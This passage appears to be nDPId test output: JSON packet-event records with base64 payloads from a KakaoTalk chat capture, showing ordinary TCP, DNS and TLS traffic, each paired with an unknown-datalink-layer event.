+00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":297766,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzzVkAAPwZJoAoYUrxn9jn7x00fkMsN9JkAAAAAoAI5CGIPAAACBAV4BAIICgALB88AAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":25,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00405{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":411444,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADwAAEAALQZO92f2OfsKGFK8H5DHTSs\/AzbLDfSaoBIWoGVTAAACBAV4BAIICpj2V6UACwfPAQMDCQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":26,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":419806,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzV0AAPwZJpwoYUrxn9jn7x00fkMsN9JorPwM3gBAAc6oGAAABAQgKAAsH25j2V6U="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":27,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01192{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":470435,"pkt_caplen":657,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":657,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAoHzWEAAPwZHWQoYUrxn9jn7x00fkMsN9JorPwM3gBgAc7\/9AAABAQgKAAsH4Jj2V6UAAQAABQAAAAIAAACFu44d6eKRW8xEcB\/UnBAy24xe+l6rapUvi1UugWhQr8JVyzf92hUpPODCs6WuL68W4Vjci8Xt4n9a+OFdkbvZyV3LZKoOlbwvwVlwywL2DKMKwAhl4TCIfFl8mnR64ih5Z1dq5qFOPDK7UMEuwqY0TXlrdK\/\/D+oGBTFlIKyOkC\/CCT6VjbaqJ89fBS7PSYVOk8G9aIjHG5IEf42V8z0x\/sXGcMp3htvM\/7RE5EXumrc0OOus1OaMDdJUuDisEtGwy9jv7DVTZssoRvTfDjsMZUDpN7vskrwxzFKEo1m8jBbYRs729RfzMRL5ebr1BgnlnFa0\/18rseKhcz+uZX5BPQEAAKBZAv+ID\/LQjX6bgoz0NN5F+fY8ocOuEw0VMu\/6TrY93rzCtLaGBMxSDuCpu1Bcs+O+i6PokL4MldAhZMGx93P9pp2m5PE0hNRm1IEvCDCj7FiRZuFp+rTL8ZUDe3tAe2S2ixtcFkxLGer+iQEoOuqxO7zwkX8IUaQnXUDB4JwKZN0ed1S0OWVFMQp6T\/0oeVKk9uS1cH17rd8WQbDMPIsE0MkKM\/h9W0QkbK+K4uqzQ7i0YnYx\/Bs+9n6g0SJaPaZkhxlDZnAJjotfpmO+TvWfOwJM6sFRlgEUNg13BjWbJMHuYML+9ghYSOUR54rgsStfbWhXf61lakWyBXwk8iCvPJaicMoaUM99gNXjBpXPIRk\/FgLVSxT1l8Z7NtGfTGipcn5uyhUwPBwOBxg8mNyVSj0lcw8z3Lid8xqx"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":28,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":611701,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADRbH0AALgby32f2OfsKGFK8H5DHTSs\/AzfLDfbngBAADqdRAAABAQgKmPZYbQALB+A="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":29,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00676{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":647742,"pkt_caplen":274,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAQJbIEAALgbyEGf2OfsKGFK8H5DHTSs\/AzfLDfbngBgADsrbAAABAQgKmPZYlAALB+DKAAAAoFkC\/4gP8tCNfpuCjPQ03kX5ZT2hwz0SDRU07eJflBwtFPV5JKc4qwZt9JmLd5nDiTYuAz6hED52mR1p+zgppELWWzSgjEgOr0doFoIFR2TYBxPm5xdGUCIRoKCHpKsU3VWhb+nYsDx5Pf8LCQ5Oo8lRB6Gg9+zmhy4riv76TlqCUugtK45ol2sMT3a1TCBjfuA7G\/n4jpBG8I4WhofsXSCtmEkKDblHy\/21GbGey\/YH3wn8eRewb+YRKoHNU\/+oeWFRMCrCIIrlzQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":30,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069022,"pkt_ts_usec":651343,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzWUAAPwZJpQoYUrxn9jn7x00fkMsN9ucrPwQFgBAAe6XcAAABAQgKAAsH85j2WJQ="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":31,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":12030,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq7kAArAYRrNg63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":32,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":58295,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":33,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":148230,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq70AArQYQq9g63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":34,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":156775,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":35,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":370215,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzmtkAAPwbpMgoYUryt\/GECiq8Bu\/wa79AAAAAAoAI5CCGaAAACBAV4BAIICgALCWYAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":36,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069026,"pkt_ts_usec":490363,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFPzWkAAPwZJhQoYUrxn9jn7x00fkMsN9ucrPwQFgBgAezf0AAABAQgKAAsJcpj2WJQbAAAAo1kC\/4gP7taEcNXOxadg3tEhq8tPTAcjxeAa"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":37,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":365912,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFPzW0AAPwZJhAoYUrxn9jn7x00fkMsN9ucrPwQFgBgAezedAAABAQgKAAsJyZj2WJQbAAAAo1kC\/4gP7taEcNXOxadg3tEhq8tPTAcjxeAa"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":38,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":366126,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzmt0AAPwbpMQoYUryt\/GECiq8Bu\/wa79AAAAAAoAI5CCE2AAACBAV4BAIICgALCcoAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":39,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":380255,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq8UAArQYQqdg63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":40,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":385169,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":41,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":408118,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACyOBEAA+AaI9K38YQIKGFK8AbuKr2Aiq0X8Gu\/RYBIRHJekAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":42,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":415442,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmuEAAPwbpRAoYUryt\/GECiq8Bu\/wa79FgIqtGUBA5CIc5AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":43,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069027,"pkt_ts_usec":422126,"pkt_caplen":240,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":240,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAODmuUAAPwboiwoYUryt\/GECiq8Bu\/wa79FgIqtGUBg5CCTlAAAWAwEAswEAAK8DAVU9HySXfmPaSP66Sz+6k6Z\/7zxfemNbfoeAqoBY5ktfAABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":44,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":75659,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgUEEAA+AZ+3XgcGvIKGFK8AFCGx0Ds0yKXy0vyUBQAAEEKAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":45,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":103644,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACynf0AA+AZvea38YQIKGFK8AbuKr2YOB1z8Gu\/RYBIRHDWiAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":46,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":105689,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjmukAAPwbpQgoYUryt\/GECiq8Bu\/wa8IlgIqtGUBA5CIaBAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":47,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":159644,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgaA+a38YQIKGFK8AbuKr2Aiq0b8Gu\/RYBClZAjXAAABAQEB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":48,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":231787,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAF9bIUAALgbysmf2OfsKGFK8H5DHTSs\/BAXLDfcGgBgADgZ1AAABAQgKmPZuZQALCcknAAAAo1kC\/4gP7taEcNXOxadg3tEhv8tPTBMjxeAKcsC92PhHEHcZ7kW5"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":49,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":238593,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzXEAAPwZJogoYUrxn9jn7x00fkMsN9wYrPwQwgBAAe42TAAABAQgKAAsKIZj2bmU="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":50,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069028,"pkt_ts_usec":960211,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiq8kAArAYRqNg63QoKGFK8AFCMUmKi4jFDN+TzUBH\/\/6QYAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":51,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069029,"pkt_ts_usec":28022,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgAAEAAPwYptwoYUrzYOt0KjFIAUEM35dFioucAUBA+dl\/2AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":52,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":83014,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBHSGwoYUrwKvAEB7lMANQAt50i5OgEAAAEAAAAAAAAJcGx1cy10YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":53,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":83228,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEEAAEAAQBEUGwoYUrwKvL8B7lMANQAtKUi5OgEAAAEAAAAAAAAJcGx1cy10YWxrBWtha2FvA2NvbQAAAQAB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":54,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":115576,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGccBgAANREA8Aq8AQEKGFK8ADXuUwBTwyO5OoGAAAEAAgAAAAAJcGx1cy10YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAAHYwAKBHBsdXMCZ2zAFsAxAAEAAQAAAQkABNJn8A8="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":55,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":119544,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGf90QAANRFhIwq8vwEKGFK8ADXuUwBTEye5OoGAAAEAAgAAAAAJcGx1cy10YWxrBWtha2FvA2NvbQAAAQABwAwABQABAAADlQAKBHBsdXMCZ2zAFsAxAAEAAQAAAMkABNJn8A8="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":56,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":119696,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEXAAIMZuAAAQAE5cQoYUrwKvL8BAwMj8wAAAABFAABn\/dEAADURYSMKvL8BChhSvAA17lMAUxMnuTqBgAABAAIAAAAACXBsdXMtdGFsawVrYWthbwNjb20AAAEAAcAMAAUAAQAAA5UACgRwbHVzAmdswBbAMQABAAEAAADJAATSZ\/AP"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":57,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":121588,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwrfUAAPwbw8woYUrzSZ\/APk70Bu6\/qIaMAAAAAoAI5CH35AAACBAV4BAIICgALCt4AAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":58,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":159674,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwUQ0AA+AZPPdJn8A8KGFK8AbuTvWC6rQuv6iGkYBIRHPMdAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":59,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":162268,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrfkAAPwbxBgoYUrzSZ\/APk70Bu6\/qIaRguq0MUBA5COKyAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":60,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00672{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":171973,"pkt_caplen":272,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":272,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAQArf0AAPwbwLQoYUrzSZ\/APk70Bu6\/qIaRguq0MUBg5CN2\/AAAWAwEA0wEAAM8DAVU9HyfJAvY\/iCLGWBYFY6M34NB+ZLfXCieB9l4jqbmhICKG\/HsNhwdjbCYE9375OW83ETGox9gGaZ9Lj69f7wR6AEYABAAFAC8ANcACwATABcAMwA7AD8AHwAnACsARwBPAFAAzADkAMgA4AArAA8ANwAjAEgAWABMACQAVABIAAwAIABQAEQD\/AQAAQAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABE="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 